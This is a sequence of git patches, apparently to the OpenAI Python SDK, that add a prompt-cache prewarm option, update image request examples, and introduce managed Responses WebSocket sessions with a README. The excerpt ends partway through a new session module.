"gpt-4o-audio-preview-2024-12-17",
@@ -89,4 +90,5 @@
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
]
diff --git a/src/openai/types/shared_params/chat_model.py b/src/openai/types/shared_params/chat_model.py
index 6a36b305ae..11d6eea18e 100644
--- a/src/openai/types/shared_params/chat_model.py
+++ b/src/openai/types/shared_params/chat_model.py
@@ -27,7 +27,6 @@
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -58,6 +57,8 @@
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -91,4 +92,5 @@
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
]
From 8f7cdb80410434d29daed90895112a39936eb4fe Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Thu, 17 Sep 2026 19:39:19 +0000
Subject: [PATCH 160/341] feat(api): add prompt-cache prewarming (#3888)
## Summary
Adds an optional prewarm parameter to stable and beta Responses
prompt-cache options.
## Changes
- Expose the prewarm boolean option for Responses prompt caching
- Preserve omission and explicit false values without changing other
request options
Co-authored-by: jbeckwith-oai <269036200+jbeckwith-oai@users.noreply.github.com>
---
.castiron.stats.yml | 12 ++++++------
api_reference/openapi.transformed.yml | 6 ++++++
src/openai/types/beta/beta_responses_client_event.py | 7 +++++++
.../types/beta/beta_responses_client_event_param.py | 7 +++++++
src/openai/types/beta/response_create_params.py | 7 +++++++
src/openai/types/responses/response_create_params.py | 7 +++++++
src/openai/types/responses/responses_client_event.py | 7 +++++++
.../types/responses/responses_client_event_param.py | 7 +++++++
tests/api_resources/beta/test_responses.py | 4 ++++
tests/api_resources/test_responses.py | 4 ++++
10 files changed, 62 insertions(+), 6 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 2ae6cc14fc..c117dfe25b 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 20bfd7ab-509d-4e06-a738-6b7997a79588
-openapi_spec_hash: 4a1df412f60140287d03f567949777a2
-openapi_transformed_spec_hash: 29daece792ba6ce4f97119152a249111
+generation_id: 0bc217a9-6093-4349-af35-3d664936414a
+openapi_spec_hash: 39af599b4d1aa3c30800e1262ba9696a
+openapi_transformed_spec_hash: 7e6b5702577c8876fe0aec86326ea4a8
config_hash: 6b3cc69eb8ac6b5a19e4f865bb7e93fa
-codegen_sha: 5444b90faee0b8b66bed5d5c37e89e48b20c0215
-codegen_hash: 8470c9a0d556140378d8c09218c48626be69d5e076431d74901c7a460e253d95
-public_codegen_sha: cee2edf3b79660c01b00757b62b9419241532657
+codegen_sha: 0dd107e6952891eb76f163bed8d16d1bd58bd935
+codegen_hash: 2e1d42f12d1a502a71d62f782c0437f78a6cb9504f03ea9f92f84b6aaeee3980
+public_codegen_sha: 0d9a13f296a6300d2f7bb94f8838267ba6d28afc
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index dfce098ebf..1889221118 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -70030,6 +70030,9 @@ components:
mode:
$ref: '#/components/schemas/PromptCacheModeEnum'
description: Controls whether OpenAI automatically creates an implicit cache breakpoint. Defaults to `implicit`. With `implicit`, OpenAI creates one implicit breakpoint and writes up to the latest three explicit breakpoints in the request. With `explicit`, OpenAI does not create an implicit breakpoint and writes up to the latest four explicit breakpoints. If there are no explicit breakpoints, the request does not use prompt caching.
+ prewarm:
+ type: boolean
+ description: Prepares the prompt cache without generating output. Defaults to `false`. When set to `true`, overrides the `generate` field to `false`.
comparison_response_id:
anyOf:
- type: string
@@ -94439,6 +94442,9 @@ components:
mode:
$ref: '#/components/schemas/BetaPromptCacheModeEnum'
description: Controls whether OpenAI automatically creates an implicit cache breakpoint. Defaults to `implicit`. With `implicit`, OpenAI creates one implicit breakpoint and writes up to the latest three explicit breakpoints in the request. With `explicit`, OpenAI does not create an implicit breakpoint and writes up to the latest four explicit breakpoints. If there are no explicit breakpoints, the request does not use prompt caching.
+ prewarm:
+ type: boolean
+ description: Prepares the prompt cache without generating output. Defaults to `false`. When set to `true`, overrides the `generate` field to `false`.
comparison_response_id:
anyOf:
- type: string
diff --git a/src/openai/types/beta/beta_responses_client_event.py b/src/openai/types/beta/beta_responses_client_event.py
index d5561b23f2..227da46135 100644
--- a/src/openai/types/beta/beta_responses_client_event.py
+++ b/src/openai/types/beta/beta_responses_client_event.py
@@ -127,6 +127,13 @@ class ResponseCreatePromptCacheOptions(BaseModel):
request does not use prompt caching.
"""
+ prewarm: Optional[bool] = None
+ """Prepares the prompt cache without generating output.
+
+ Defaults to `false`. When set to `true`, overrides the `generate` field to
+ `false`.
+ """
+
ttl: Optional[Literal["30m"]] = None
"""
The minimum lifetime applied to every implicit and explicit cache breakpoint
diff --git a/src/openai/types/beta/beta_responses_client_event_param.py b/src/openai/types/beta/beta_responses_client_event_param.py
index 18f21d4c8c..caeaaefdc0 100644
--- a/src/openai/types/beta/beta_responses_client_event_param.py
+++ b/src/openai/types/beta/beta_responses_client_event_param.py
@@ -127,6 +127,13 @@ class ResponseCreatePromptCacheOptions(TypedDict, total=False):
request does not use prompt caching.
"""
+ prewarm: bool
+ """Prepares the prompt cache without generating output.
+
+ Defaults to `false`. When set to `true`, overrides the `generate` field to
+ `false`.
+ """
+
ttl: Literal["30m"]
"""
The minimum lifetime applied to every implicit and explicit cache breakpoint
diff --git a/src/openai/types/beta/response_create_params.py b/src/openai/types/beta/response_create_params.py
index a95aa55bd3..9bf5d95b4c 100644
--- a/src/openai/types/beta/response_create_params.py
+++ b/src/openai/types/beta/response_create_params.py
@@ -536,6 +536,13 @@ class PromptCacheOptions(TypedDict, total=False):
request does not use prompt caching.
"""
+ prewarm: bool
+ """Prepares the prompt cache without generating output.
+
+ Defaults to `false`. When set to `true`, overrides the `generate` field to
+ `false`.
+ """
+
ttl: Literal["30m"]
"""
The minimum lifetime applied to every implicit and explicit cache breakpoint
diff --git a/src/openai/types/responses/response_create_params.py b/src/openai/types/responses/response_create_params.py
index 079055864a..2798090006 100644
--- a/src/openai/types/responses/response_create_params.py
+++ b/src/openai/types/responses/response_create_params.py
@@ -405,6 +405,13 @@ class PromptCacheOptions(TypedDict, total=False):
request does not use prompt caching.
"""
+ prewarm: bool
+ """Prepares the prompt cache without generating output.
+
+ Defaults to `false`. When set to `true`, overrides the `generate` field to
+ `false`.
+ """
+
ttl: Literal["30m"]
"""
The minimum lifetime applied to every implicit and explicit cache breakpoint
diff --git a/src/openai/types/responses/responses_client_event.py b/src/openai/types/responses/responses_client_event.py
index c7e3815afc..b3434b2572 100644
--- a/src/openai/types/responses/responses_client_event.py
+++ b/src/openai/types/responses/responses_client_event.py
@@ -125,6 +125,13 @@ class ResponseCreatePromptCacheOptions(BaseModel):
request does not use prompt caching.
"""
+ prewarm: Optional[bool] = None
+ """Prepares the prompt cache without generating output.
+
+ Defaults to `false`. When set to `true`, overrides the `generate` field to
+ `false`.
+ """
+
ttl: Optional[Literal["30m"]] = None
"""
The minimum lifetime applied to every implicit and explicit cache breakpoint
diff --git a/src/openai/types/responses/responses_client_event_param.py b/src/openai/types/responses/responses_client_event_param.py
index ee7d344d3b..7600341d68 100644
--- a/src/openai/types/responses/responses_client_event_param.py
+++ b/src/openai/types/responses/responses_client_event_param.py
@@ -125,6 +125,13 @@ class ResponseCreatePromptCacheOptions(TypedDict, total=False):
request does not use prompt caching.
"""
+ prewarm: bool
+ """Prepares the prompt cache without generating output.
+
+ Defaults to `false`. When set to `true`, overrides the `generate` field to
+ `false`.
+ """
+
ttl: Literal["30m"]
"""
The minimum lifetime applied to every implicit and explicit cache breakpoint
diff --git a/tests/api_resources/beta/test_responses.py b/tests/api_resources/beta/test_responses.py
index 75a8752380..fce3860567 100644
--- a/tests/api_resources/beta/test_responses.py
+++ b/tests/api_resources/beta/test_responses.py
@@ -65,6 +65,7 @@ def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
prompt_cache_options={
"comparison_response_id": "resp_123",
"mode": "implicit",
+ "prewarm": True,
"ttl": "30m",
},
prompt_cache_retention="in_memory",
@@ -175,6 +176,7 @@ def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
prompt_cache_options={
"comparison_response_id": "resp_123",
"mode": "implicit",
+ "prewarm": True,
"ttl": "30m",
},
prompt_cache_retention="in_memory",
@@ -534,6 +536,7 @@ async def test_method_create_with_all_params_overload_1(self, async_client: Asyn
prompt_cache_options={
"comparison_response_id": "resp_123",
"mode": "implicit",
+ "prewarm": True,
"ttl": "30m",
},
prompt_cache_retention="in_memory",
@@ -644,6 +647,7 @@ async def test_method_create_with_all_params_overload_2(self, async_client: Asyn
prompt_cache_options={
"comparison_response_id": "resp_123",
"mode": "implicit",
+ "prewarm": True,
"ttl": "30m",
},
prompt_cache_retention="in_memory",
diff --git a/tests/api_resources/test_responses.py b/tests/api_resources/test_responses.py
index 8556fde64a..c61c6540bd 100644
--- a/tests/api_resources/test_responses.py
+++ b/tests/api_resources/test_responses.py
@@ -61,6 +61,7 @@ def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
prompt_cache_options={
"comparison_response_id": "resp_123",
"mode": "implicit",
+ "prewarm": True,
"ttl": "30m",
},
prompt_cache_retention="in_memory",
@@ -166,6 +167,7 @@ def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
prompt_cache_options={
"comparison_response_id": "resp_123",
"mode": "implicit",
+ "prewarm": True,
"ttl": "30m",
},
prompt_cache_retention="in_memory",
@@ -501,6 +503,7 @@ async def test_method_create_with_all_params_overload_1(self, async_client: Asyn
prompt_cache_options={
"comparison_response_id": "resp_123",
"mode": "implicit",
+ "prewarm": True,
"ttl": "30m",
},
prompt_cache_retention="in_memory",
@@ -606,6 +609,7 @@ async def test_method_create_with_all_params_overload_2(self, async_client: Asyn
prompt_cache_options={
"comparison_response_id": "resp_123",
"mode": "implicit",
+ "prewarm": True,
"ttl": "30m",
},
prompt_cache_retention="in_memory",
From bb796764118004f8c9b0b0a46e07e5e55cfe34e4 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Thu, 17 Sep 2026 20:28:07 +0000
Subject: [PATCH 161/341] chore(api): update image request examples (#3889)
## Summary
Updates Images API request examples to use gpt-image-2.5-flare.
## Changes
- Use gpt-image-2.5-flare in standard and streaming image request
examples
- Preserve existing request parameters, model choices, and defaults
Co-authored-by: jbeckwith-oai <269036200+jbeckwith-oai@users.noreply.github.com>
---
.castiron.stats.yml | 10 +++++-----
api_reference/openapi.transformed.yml | 12 ++++++------
2 files changed, 11 insertions(+), 11 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index c117dfe25b..c63ed9c178 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 0bc217a9-6093-4349-af35-3d664936414a
-openapi_spec_hash: 39af599b4d1aa3c30800e1262ba9696a
-openapi_transformed_spec_hash: 7e6b5702577c8876fe0aec86326ea4a8
+generation_id: 243ee51c-7f89-4247-b23a-13d2bd16c180
+openapi_spec_hash: 12fb4f3ab9b96e5acefc54dceacd92cc
+openapi_transformed_spec_hash: 336279ed1cb704ff922280d0ae0b4470
config_hash: 6b3cc69eb8ac6b5a19e4f865bb7e93fa
-codegen_sha: 0dd107e6952891eb76f163bed8d16d1bd58bd935
+codegen_sha: c6795da709dd8d6de4961bf59464e26cc922044e
codegen_hash: 2e1d42f12d1a502a71d62f782c0437f78a6cb9504f03ea9f92f84b6aaeee3980
-public_codegen_sha: 0d9a13f296a6300d2f7bb94f8838267ba6d28afc
+public_codegen_sha: 8c0cd8fa3240c51f2ca20d00b73596dc9054cd95
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 1889221118..06b1386cac 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -7929,7 +7929,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-image-1.5",
+ "model": "gpt-image-2.5-flare",
"prompt": "A cute baby sea otter",
"n": 1,
"size": "1024x1024"
@@ -7940,7 +7940,7 @@ paths:
client = OpenAI()
img = client.images.generate(
- model="gpt-image-1.5",
+ model="gpt-image-2.5-flare",
prompt="A cute baby sea otter",
n=1,
size="1024x1024"
@@ -7956,7 +7956,7 @@ paths:
const client = new OpenAI();
const img = await client.images.generate({
- model: "gpt-image-1.5",
+ model: "gpt-image-2.5-flare",
prompt: "A cute baby sea otter",
n: 1,
size: "1024x1024"
@@ -7989,7 +7989,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-image-1.5",
+ "model": "gpt-image-2.5-flare",
"prompt": "A cute baby sea otter",
"n": 1,
"size": "1024x1024",
@@ -8002,7 +8002,7 @@ paths:
client = OpenAI()
stream = client.images.generate(
- model="gpt-image-1.5",
+ model="gpt-image-2.5-flare",
prompt="A cute baby sea otter",
n=1,
size="1024x1024",
@@ -8017,7 +8017,7 @@ paths:
const client = new OpenAI();
const stream = await client.images.generate({
- model: "gpt-image-1.5",
+ model: "gpt-image-2.5-flare",
prompt: "A cute baby sea otter",
n: 1,
size: "1024x1024",
From 3b865af92e8dc65e14ab6d565304fe778bac1eef Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Thu, 17 Sep 2026 22:16:54 +0000
Subject: [PATCH 162/341] feat(api): add managed Responses WebSocket sessions
(#3887)
## Summary
Adds managed Responses WebSocket sessions with custom request headers,
independent lanes and final-response collection.
## Changes
- Preserve client headers and per-connection overrides during WebSocket
handshakes
- Route independent response lanes and collect final responses
- Reconnect explicitly with application restoration and no automatic
request replay
## Validation
Local WebSocket regressions cover custom request headers, independent
response lanes, connection lifecycle and final-response collection.
Current-head hosted checks pass. Authenticated synchronous and
asynchronous WebSocket tests verified custom headers and two-response
continuation.
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 6 +-
examples/responses/websocket.py | 5 +-
examples/responses_websocket.py | 42 +
src/openai/_client.py | 10 +
src/openai/lib/_websocket.py | 13 +-
src/openai/lib/responses_websocket/README.md | 181 +++
.../lib/responses_websocket/__init__.py | 9 +
.../lib/responses_websocket/_session.py | 619 +++++++
.../resources/beta/responses/responses.py | 180 ++-
src/openai/resources/live/forks.py | 68 +-
src/openai/resources/live/live.py | 68 +-
src/openai/resources/live/sideband.py | 68 +-
src/openai/resources/realtime/realtime.py | 79 +-
src/openai/resources/responses/responses.py | 188 ++-
.../fixtures/websocket_scenarios.json | 533 ++++++
tests/lib/responses/test_websocket_auth.py | 200 +++
.../lib/responses/test_websocket_contract.py | 170 ++
tests/lib/responses/test_websocket_live.py | 87 +
tests/lib/responses/test_websocket_session.py | 1437 +++++++++++++++++
19 files changed, 3749 insertions(+), 214 deletions(-)
create mode 100644 examples/responses_websocket.py
create mode 100644 src/openai/lib/responses_websocket/README.md
create mode 100644 src/openai/lib/responses_websocket/__init__.py
create mode 100644 src/openai/lib/responses_websocket/_session.py
create mode 100644 tests/lib/responses/fixtures/websocket_scenarios.json
create mode 100644 tests/lib/responses/test_websocket_auth.py
create mode 100644 tests/lib/responses/test_websocket_contract.py
create mode 100644 tests/lib/responses/test_websocket_live.py
create mode 100644 tests/lib/responses/test_websocket_session.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index c63ed9c178..f167f4de33 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 243ee51c-7f89-4247-b23a-13d2bd16c180
+generation_id: da11bb84-7726-46be-b0e8-202201c018dd
openapi_spec_hash: 12fb4f3ab9b96e5acefc54dceacd92cc
openapi_transformed_spec_hash: 336279ed1cb704ff922280d0ae0b4470
config_hash: 6b3cc69eb8ac6b5a19e4f865bb7e93fa
-codegen_sha: c6795da709dd8d6de4961bf59464e26cc922044e
+codegen_sha: 3848b5225293192642ddeaa9370a13cceb2e5fd0
codegen_hash: 2e1d42f12d1a502a71d62f782c0437f78a6cb9504f03ea9f92f84b6aaeee3980
-public_codegen_sha: 8c0cd8fa3240c51f2ca20d00b73596dc9054cd95
+public_codegen_sha: fa0e11f039b328fc3264db300390d5a9eefcb41d
diff --git a/examples/responses/websocket.py b/examples/responses/websocket.py
index 2c51d8ef02..a0b8d7c015 100644
--- a/examples/responses/websocket.py
+++ b/examples/responses/websocket.py
@@ -277,7 +277,6 @@ def run_response(
connection.response.create(
model=model,
input=input_payload,
- stream=True,
previous_response_id=previous_response_id,
tools=tools,
tool_choice=tool_choice,
@@ -314,8 +313,8 @@ def run_response(
break
if getattr(event, "type", None) == "response.done":
- # Responses over WebSocket currently emit `response.done` as the final event.
- # The payload still includes `response.id`, which we use for chaining.
+ # Preserve compatibility with older response.done event producers.
+ # The payload includes response.id, which we use for chaining.
event_response = getattr(event, "response", None)
event_response_id: Optional[str] = None
if isinstance(event_response, dict):
diff --git a/examples/responses_websocket.py b/examples/responses_websocket.py
new file mode 100644
index 0000000000..1016eb36a2
--- /dev/null
+++ b/examples/responses_websocket.py
@@ -0,0 +1,42 @@
+#!/usr/bin/env python
+"""Run with OPENAI_API_KEY configured and the openai[realtime] extra installed."""
+
+from openai import OpenAI
+from openai.lib.responses_websocket import ResponsesWebSocketLimits, ResponsesWebSocketSession
+
+
+def main() -> None:
+ # These are application budgets, not service limits. Increase them if your
+ # responses contain large images or tool results.
+ limits = ResponsesWebSocketLimits(
+ max_lanes=8,
+ max_events_per_lane=128,
+ max_events=512,
+ max_bytes_per_lane=16 * 1024 * 1024,
+ max_bytes=32 * 1024 * 1024,
+ max_response_bytes=None, # Default: no cumulative response accumulation cap.
+ )
+ with (
+ OpenAI() as client,
+ client.responses.connect(websocket_connection_options={"max_size": None}) as connection,
+ ResponsesWebSocketSession(connection, limits=limits) as session,
+ ):
+ lane = session.lane("example")
+ lane.send({"type": "response.create", "model": "gpt-4o-mini", "input": "Say hello."})
+ response = lane.get_final_response(timeout=60)
+ print(response.id, response.status)
+ lane.send(
+ {
+ "type": "response.create",
+ "model": "gpt-4o-mini",
+ "previous_response_id": response.id,
+ "input": "Now say goodbye.",
+ }
+ )
+ response = lane.get_final_response(timeout=60)
+ print(response.id, response.status)
+ lane.close()
+
+
+if __name__ == "__main__":
+ main()
diff --git a/src/openai/_client.py b/src/openai/_client.py
index 1432730c0f..8af773a224 100644
--- a/src/openai/_client.py
+++ b/src/openai/_client.py
@@ -665,6 +665,11 @@ def _validate_headers(self, headers: Headers, custom_headers: Headers) -> None:
@override
def _prepare_options(self, options: FinalRequestOptions) -> FinalRequestOptions:
+ if options.url.startswith(("ws://", "wss://")) and (
+ self._provider_runtime is not None or self.workload_identity is not None
+ ):
+ raise OpenAIError("This authentication method is not supported by WebSocket connections")
+
if self._provider_runtime is not None:
if self._provider_runtime.transform_request is not None:
options = self._provider_runtime.transform_request(options)
@@ -1422,6 +1427,11 @@ def _validate_headers(self, headers: Headers, custom_headers: Headers) -> None:
@override
async def _prepare_options(self, options: FinalRequestOptions) -> FinalRequestOptions:
+ if options.url.startswith(("ws://", "wss://")) and (
+ self._provider_runtime is not None or self.workload_identity is not None
+ ):
+ raise OpenAIError("This authentication method is not supported by WebSocket connections")
+
if self._provider_runtime is not None:
if self._provider_runtime.transform_async_request is not None:
options = await self._provider_runtime.transform_async_request(options)
diff --git a/src/openai/lib/_websocket.py b/src/openai/lib/_websocket.py
index 5ca93864df..42231d409a 100644
--- a/src/openai/lib/_websocket.py
+++ b/src/openai/lib/_websocket.py
@@ -3,10 +3,21 @@
from typing_extensions import override
from websockets.uri import parse_uri
+from websockets.version import version as websockets_version
from websockets.exceptions import SecurityError
+from websockets.sync.client import ClientConnection as SyncWebSocketConnection
from websockets.asyncio.client import connect
-__all__ = ["_WebSocketConnect"]
+__all__ = ["_WebSocketConnect", "_recv_bytes"]
+
+
+def _recv_bytes(connection: SyncWebSocketConnection) -> bytes:
+ if not websockets_version.startswith("13."):
+ return connection.recv(decode=False)
+ # websockets 13 decodes text frames unconditionally in its sync API.
+ # Re-encoding preserves their wire bytes; binary messages are already bytes.
+ message = connection.recv()
+ return message.encode("utf-8") if isinstance(message, str) else message
class _WebSocketConnect(connect):
diff --git a/src/openai/lib/responses_websocket/README.md b/src/openai/lib/responses_websocket/README.md
new file mode 100644
index 0000000000..9a94fec82f
--- /dev/null
+++ b/src/openai/lib/responses_websocket/README.md
@@ -0,0 +1,181 @@
+# Responses WebSocket sessions
+
+`ResponsesWebSocketSession` and `AsyncResponsesWebSocketSession` add routed
+lanes and final-response collection to an existing `client.responses.connect()`
+connection. The existing connection API and its defaults are unchanged. Install
+the `openai[realtime]` extra to use WebSockets.
+
+```python
+from openai import AsyncOpenAI
+from openai.lib.responses_websocket import (
+ AsyncResponsesWebSocketSession,
+ ResponsesWebSocketLimits,
+)
+
+# Choose budgets for your application's expected responses.
+limits = ResponsesWebSocketLimits(
+ max_lanes=8, # Includes the default lane and closed reservations until reconnect.
+ max_events_per_lane=128,
+ max_events=512,
+ max_bytes_per_lane=16 * 1024 * 1024,
+ max_bytes=32 * 1024 * 1024,
+ max_response_bytes=None, # Default: no cumulative response accumulation cap.
+)
+
+async def run():
+ async with AsyncOpenAI() as client:
+ async with client.responses.connect(websocket_connection_options={"max_size": None}) as connection:
+ async with AsyncResponsesWebSocketSession(connection, limits=limits) as session:
+ lane = session.lane("conversation")
+ await lane.send({
+ "type": "response.create",
+ "model": "gpt-4o-mini",
+ "input": "Say hello.",
+ })
+ response = await lane.get_final_response()
+ return response
+```
+
+The session owns the connection's read side and lifetime. Its one reader uses the
+connection's raw receive, event parsing, and recovery methods. While the session
+is active, receive through its lanes instead of calling the connection's `recv`,
+iterator, or `dispatch_events`.
+Direct sends through the connection can bypass lane ownership; send through the
+lane when using these helpers. Closing the session closes the connection.
+
+Register each named lane before sending. For `response.create`, `lane.send` adds
+its `stream_id` and rejects conflicting routing metadata. Steering commands keep
+their original fields and route through `previous_response_id`. The lane ID is independent of
+`previous_response_id`, which you can supply explicitly for continuation. Consume
+one response's terminal event before sending the next create on that lane.
+Different lanes can run concurrently; use one consumer per lane. The default
+lane (`session.default`) receives events without a registered routing ID,
+including unknown events and connection-level errors. Observe it when using
+named lanes so these events and errors are not left unread.
+
+`lane.recv()` preserves typed events and unknown fields. `get_final_response()`
+consumes remaining events and returns the terminal `Response`, including `failed`
+and `incomplete` results. Finalized output items fill an omitted terminal output
+through the existing Responses accumulator. Text deltas remain available through
+`recv`; final response collection does not require SSE-only item setup events.
+No tool is executed automatically. A nested protocol error raises
+`ResponsesWebSocketError`, whose `event` is the original event; the exception
+message does not include request or response data.
+
+A repeated `get_final_response()` returns the cached result unless the reader
+has observed a newer `response.created` on that lane, in which case it consumes
+the next response. It does not wait for a hypothetical future successor. Use
+`recv()` to observe that boundary when coordinating steering; accepted steering
+alone does not prove that a successor has started.
+
+Cancel an async `recv` or `get_final_response` wait with normal asyncio
+cancellation. It leaves queued events and accumulated state available for a later
+wait, and does not close the lane or connection. Synchronous waits accept
+`timeout=` and likewise preserve data on timeout. `lane.close()` explicitly
+detaches that lane and discards its queued events/state without closing the
+socket. Future events for a detached named lane go to the default lane for raw
+inspection; they do not change its accumulated response or in-flight state. Closing
+the default lane opts out of those otherwise unclaimed events.
+Every registered ID, including the default lane and unused or closed lanes,
+remains reserved against `max_lanes` until the physical socket reconnects.
+Terminal responses and errors do not release IDs: accepted steering can start a
+successor after a terminal event. Keep the same lane handle open for sequential
+responses. Reconnect releases closed reservations; open lanes stay registered on
+the replacement socket. Close a lane before reconnecting if you need to recreate
+it. After reconnect releases a closed default lane, `session.lane()` (or
+`session.lane(None)`) registers a fresh default and updates `session.default`.
+
+Limits apply only to this opt-in session. Event queues are bounded per lane and
+across the session; overflow reports `ResponsesWebSocketBufferError` and closes
+the owned connection so ordered events are not silently dropped. Queue byte
+counts measure received message bytes before parsing, not Python object overhead or
+transport decoding memory. Response accumulation is uncapped by default:
+omit `max_response_bytes` or set it to `None`. A positive integer opts into a
+budget for the cumulative compatible event bytes passed to an accumulator;
+exceeding it disables that response's collection, while raw events and other
+lanes remain usable. Queue and lane limits still require positive integers.
+Choose budgets for large legitimate outputs. These are application budgets,
+not protocol limits.
+The examples disable the transport's separate 1 MiB message limit with
+`websocket_connection_options={"max_size": None}` so large events can reach the
+session. If you set a transport limit, choose it separately for the largest
+expected individual event; raising session budgets does not raise that limit.
+
+The connection's existing opt-in reconnection policy still applies. Reconnecting
+does not restore server-side response state. Lane sends reject while reconnecting,
+before starting a response, so wait for recovery and restore application state.
+Lane sends do not enqueue a
+delivery-uncertain write for replay; handle that failure explicitly in your
+application. A request whose delivery is uncertain remains in flight until its
+terminal event arrives or you detach its lane. When recovery loses that state,
+use a fresh ID, or close the lane and reconnect before recreating it, then
+explicitly restore the application state.
+Existing low-level connection sends retain their existing semantics.
+
+## Continuation and service state
+
+The [WebSocket mode guide](https://developers.openai.com/api/docs/guides/websocket-mode)
+defines the server contract. Every new turn sends `response.create`; omit the
+HTTP-only `stream` and `background` fields.
+
+- **Warmup:** construct a `ResponseCreate` event from
+ `openai.types.responses.responses_client_event` with `generate=False`, using
+ its existing extra-field support. Send it through `lane.send()` and collect
+ its terminal response with `lane.get_final_response()` (await both in async
+ code). Use that response's ID as `previous_response_id` on a later create
+ with new input. Warmup prepares state without generating model output.
+- **Tools:** after the response completes, execute the application's tool and
+ send its `function_call_output` with the original `call_id`, the completed
+ response's ID, and only new input items. See
+ [the tool-turn example](../../../../examples/responses/websocket.py).
+- **Forks:** send the source response's ID on a different lane. With
+ `store=False` or ZDR, wait for the fork lane's `response.in_progress` before
+ advancing the source lane. Consume lane events with `recv()` to observe this
+ barrier, handling errors and premature close while waiting.
+- **Automatic compaction:** with `context_management` configured for compaction,
+ continue using the latest response ID and only new input items.
+- **Standalone compaction:** `client.responses.compact(...)` returns a compacted
+ input window, not a response ID for continuation. Send its complete `output`
+ as input to a new WebSocket chain, omitting or nulling `previous_response_id`.
+ Do not prune items from the compacted output.
+
+The server keeps recent response state in a connection-local cache. With
+`store=True`, an older response may be loaded from persisted state. With
+`store=False` or ZDR, an uncached ID produces `previous_response_not_found`.
+A same-lane continuation returning a 4xx or 5xx evicts its referenced cached
+parent; an errored cross-lane fork preserves the shared parent for the source
+lane. Do not blindly retry the same parent after a cache miss. Restore the full
+retained input and output history as a new chain when needed, including tool
+and reasoning items rather than only displayed text. Request
+`reasoning.encrypted_content` when retaining reasoning-model output for replay.
+
+## Lanes, limits and connection lifetime
+
+Named stream IDs contain 1–256 ASCII letters, digits, underscores, hyphens or periods;
+the helper validates this exact string before reserving an ID. Other types and an
+empty string are invalid. Omit the ID for the default lane. Reusing an open lane does
+not select conversation history: supply `previous_response_id` explicitly.
+The server executes requests on each lane FIFO without overlap, and may
+interleave events from different lanes. Named-lane terminals and request errors
+echo the ID; default-lane events omit it.
+
+The service allows 16 active responses and queues additional creates. It accepts
+32 distinct named IDs per connection; the default lane does not count. These
+are separate from the helper's application budgets. Detaching a local lane does
+not reset the server's distinct-ID count.
+
+Connections last up to 60 minutes. Plan rotation at completed-turn boundaries.
+Reconnecting loses every lane's connection-local cache: use persisted IDs when
+available or restore full context explicitly. Handle `previous_response_not_found`,
+`invalid_stream_id`, `websocket_stream_limit_reached`, and
+`websocket_connection_limit_reached` through the original error event. Observe
+the default lane for connection-scoped errors as well as each named lane.
+
+Steering is a separate command: send only `type`, `previous_response_id` and
+`input`, without `stream_id`. Accepted steering is not yet committed; the
+successor's `response.created` is the commit point. If `response.steer.pending`
+requires tool output or approval, fill its `required_input` stubs and send one
+create on the parent's lane with that parent ID. Reuse saved results rather
+than rerunning tools or resending already accepted steering input.
+
+For the synchronous form, see `examples/responses_websocket.py`.
diff --git a/src/openai/lib/responses_websocket/__init__.py b/src/openai/lib/responses_websocket/__init__.py
new file mode 100644
index 0000000000..eb827d7186
--- /dev/null
+++ b/src/openai/lib/responses_websocket/__init__.py
@@ -0,0 +1,9 @@
+from ._session import (
+ ResponsesWebSocketLane as ResponsesWebSocketLane,
+ ResponsesWebSocketError as ResponsesWebSocketError,
+ ResponsesWebSocketLimits as ResponsesWebSocketLimits,
+ ResponsesWebSocketSession as ResponsesWebSocketSession,
+ AsyncResponsesWebSocketLane as AsyncResponsesWebSocketLane,
+ ResponsesWebSocketBufferError as ResponsesWebSocketBufferError,
+ AsyncResponsesWebSocketSession as AsyncResponsesWebSocketSession,
+)
diff --git a/src/openai/lib/responses_websocket/_session.py b/src/openai/lib/responses_websocket/_session.py
new file mode 100644
index 0000000000..3b8bac95c6
--- /dev/null
+++ b/src/openai/lib/responses_websocket/_session.py
@@ -0,0 +1,619 @@
+from __future__ import annotations
+
+import re
+import json
+import time
+import asyncio
+import threading
+from types import TracebackType
+from typing import Any, cast
+from weakref import WeakSet
+from collections import deque
+from dataclasses import dataclass
+from typing_extensions import Self
+
+from ..._types import omit
+from ..._utils import maybe_transform
+from ..._compat import model_copy
+from ..._models import BaseModel
+from ..._exceptions import WebSocketConnectionClosedError
